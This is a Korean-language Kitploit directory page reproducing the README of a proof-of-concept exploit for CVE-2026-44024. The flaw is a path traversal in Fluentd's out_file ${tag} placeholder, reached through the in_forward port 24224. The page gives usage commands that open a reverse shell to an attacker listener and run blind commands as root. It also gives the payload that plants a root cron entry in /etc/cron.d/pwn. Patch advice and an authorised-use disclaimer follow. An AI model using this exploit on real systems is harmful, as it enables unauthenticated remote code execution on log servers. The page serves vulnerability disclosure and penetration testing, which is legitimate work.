Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-44024_exploit — CVE-2026-44024에 대한 개념 증명(PoC) 익스플로잇으로, 조작된 in_forward 태그를 사용하여 Fluentd의 out_file 경로 탐색(path traversal)을 통해 임의의 파일을 작성하고 명령 실행을 유발합니다. | Kitploit
도구/GitHubGitHub/0xdak/cve-2026-44024_exploit
Payload GenerationVulnerability AnalysisExploitationPenetration TestingRed Teaming
GitHub0xdak/cve-2026-44024_exploit

CVE-2026-44024_exploit

CVE-2026-44024에 대한 개념 증명(PoC) 익스플로잇으로, 조작된 in_forward 태그를 사용하여 Fluentd의 out_file 경로 탐색(path traversal)을 통해 임의의 파일을 작성하고 명령 실행을 유발합니다.

저장소 보기
21개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-44024 — Fluentd out_file ${tag} 경로 탐색 임의 파일 쓰기

Fluentd의 out_file 플러그인에서 ${tag} 플레이스홀더를 통한 인증 없는 임의 파일 쓰기 취약점.

out_file은 운영자가 ${tag} 플레이스홀더로 출력 경로를 템플릿화할 수 있게 합니다 (예: path /var/log/fluent/${tag}). Output#extract_placeholders (lib/fluent/plugin/output.rb)는 ../을 검사하지 않고(CWE-22) 이벤트의 태그를 경로에 대입합니다:

root@kitploit:~
if str.include?('${tag}')
  rvalue = rvalue.gsub('${tag}', metadata.tag)   # 공격자 제어 태그, ../ 검사 없음

in_forward 프로토콜(포트 24224)로 도착하는 이벤트는 와이어 메시지에서 그대로 가져온 태그를 전달하며, allow_anonymous_source는 기본적으로 true입니다. 따라서 인증 없는 공격자는 ../../../../../../etc/cron.d/pwn 같은 태그를 설정해 설정된 디렉터리를 벗어나 fluentd 프로세스 사용자 권한으로 임의의 절대 경로에 파일을 쓸 수 있습니다.

  • 영향: Fluentd <= 1.19.2
  • 수정: 1.19.3 (${tag} 확장 전에 태그의 ..//절대 경로 구성 요소를 거부, PR #5391)
  • CWE: 22 (경로 탐색) / 94 (쓰여진 콘텐츠를 통한 코드 주입)
  • 포트: 24224 (forward — 공격 경로), 9880 (http)
  • 영향: fluentd 사용자 권한의 임의 파일 쓰기 → RCE (예: 루트 cron 라인)

중요 — 공격 경로는 in_forward이지 in_http가 아닙니다

in_http는 URL 경로에서 path.split('/').join('.')로 태그를 파생하는데, 이는 모든 /를 .으로 바꿉니다 — 따라서 Linux에서는 ../이 살아남을 수 없습니다 (%2f도 디코딩되지 않습니다). 태그를 바이트 그대로 전달하는 것은 forward 프로토콜(24224) 뿐입니다. 이 익스플로잇은 해당 프로토콜의 일부(msgpack [tag, time, record] 메시지)만을 작은 내장 인코더 — 의존성 없음으로 말합니다.

요구 사항

Python 3 표준 라이브러리만 필요합니다. 대상은 path에 ${tag}가 포함된 out_file과 익명 in_forward 소스(기본값)로 취약한 Fluentd를 실행 중이어야 합니다. 쓰기를 깔끔한 cron 드롭으로 전환하려면 파일 이름/콘텐츠를 변형하지 않는 out_file(예: add_path_suffix false, append true, timekey 없음, single_value 형식)이 필요합니다 — 그렇지 않으면 파일 쓰기를 사용해 알려진 경로의 파일을 덮어씁니다.

사용법

root@kitploit:~
# 리버스 셸 (먼저 리스너 시작: nc -lvnp 4444). cron으로 약 60초 내에 실행됩니다.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444

# 루트로 블라인드 명령 실행
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'

# 사용자 지정 forward 포트
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444

작동 방식

포트 24224로 forward 이벤트 ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}]를 전송합니다. out_file은 ${tag}를 확장하여 /var/log/fluent/../../../../../../etc/cron.d/pwn = /etc/cron.d/pwn을 만들고, (single_value 형식에서) 레코드의 msg를 그대로 쓰므로 → 유효한 cron 라인이 됩니다. cron은 약 60초 내에 fluentd 사용자(fluentd가 root로 실행되는 경우 root)로 그것을 실행합니다.

해결 방법

Fluentd를 1.19.3 이상으로 업그레이드하세요; forward 포트를 신뢰할 수 없는 네트워크에 노출하지 마세요(공유 키 인증 / allow_anonymous_source false 활성화); fluentd를 root로 실행하지 마세요; 신뢰할 수 없는 입력에 대해 출력 경로에서 ${tag} 사용을 피하세요.

면책 조항

공인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유하거나 테스트할 명시적 권한이 있는 시스템에 대해서만 사용하십시오.

도구 다운로드